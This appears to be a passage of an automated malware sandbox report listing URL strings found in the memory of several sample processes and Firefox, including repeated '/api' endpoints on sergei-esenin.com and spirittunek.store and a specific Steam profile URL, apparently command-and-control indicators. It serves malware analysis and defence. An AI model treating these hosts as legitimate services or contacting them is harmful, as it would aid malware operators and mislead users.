Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000015.00000003.2228003107.0000016C164AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://push.services.mozilla.com/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2104170885.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: 48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2803605107.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2685094039.000000000537C000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2683118799.000000000070E000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2758876464.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2762424859.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2757260734.0000000005408000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/
Source: 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/$
Source: file.exe, 00000000.00000003.1850230214.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1842707299.000000000117F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/0
Source: 9b7d422018.exe, 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/5
Source: 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/7
Source: 9b7d422018.exe, 0000001B.00000003.2657531305.00000000013EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/A
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/D
Source: 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/G
Source: 48bf814d33.exe, 0000001E.00000003.2676453543.0000000005374000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/K
Source: 48bf814d33.exe, 0000001E.00000003.2803605107.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/L
Source: 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/O
Source: file.exe, 00000000.00000003.1858709746.0000000001178000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1850230214.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1842707299.000000000117F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/P
Source: file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/Pu
Source: file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/Ua
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1842921840.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1895478653.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935425065.0000000005901000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1849841066.0000000005919000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742967425.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1831752123.0000000005918000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858709746.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858401796.0000000005919000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907528972.0000000001189000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1832429292.0000000005919000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935620208.0000000001188000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2526474259.00000000013FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api
Source: 48bf814d33.exe, 0000001E.00000003.2726300389.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api1
Source: 9b7d422018.exe, 0000001F.00000003.2680551648.0000000005350000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api4B
Source: 9b7d422018.exe, 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiC
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiL
Source: 9b7d422018.exe, 0000001B.00000003.2655299054.0000000001401000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apib
Source: 9b7d422018.exe, 0000001F.00000003.2766804861.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apie
Source: 9b7d422018.exe, 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apief
Source: file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apihV
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apim
Source: file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apip
Source: file.exe, 00000000.00000003.1895478653.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858709746.000000000118A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apit
Source: file.exe, 00000000.00000003.1895478653.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1858709746.000000000118A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907528972.0000000001189000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935620208.0000000001188000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiu
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiw
Source: file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api~
Source: 20b68761b3.exe, 00000021.00000003.2784355418.0000000005401000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2783502640.00000000053FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/cc
Source: 48bf814d33.exe, 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/d
Source: file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/ei
Source: 9b7d422018.exe, 0000001B.00000003.2753876389.00000000013E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/g
Source: file.exe, 00000000.00000003.1788929192.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788840431.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788768560.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789735149.0000000001179000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788949219.0000000001182000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/gE
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/o
Source: file.exe, 00000000.00000003.1802702331.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/p
Source: file.exe, 00000000.00000003.1822305324.000000000117A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1802702331.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801934958.0000000001177000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/x
Source: 9b7d422018.exe, 0000001B.00000003.2581352858.0000000005C81000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2657265505.0000000005C89000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2654428573.0000000005C81000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com:443/api
Source: 9b7d422018.exe, 0000001B.00000003.2657265505.0000000005C89000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2654428573.0000000005C81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com:443/apij~
Source: firefox.exe, 00000015.00000003.2253923217.0000016C16412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205722525.0000016C0CFF3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2207340958.0000016C0CDEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://spirittunek.store:443/api
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.c
Source: 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/5
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/5%
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.0000000001371000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2478219685.0000000001373000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/6
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/p
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
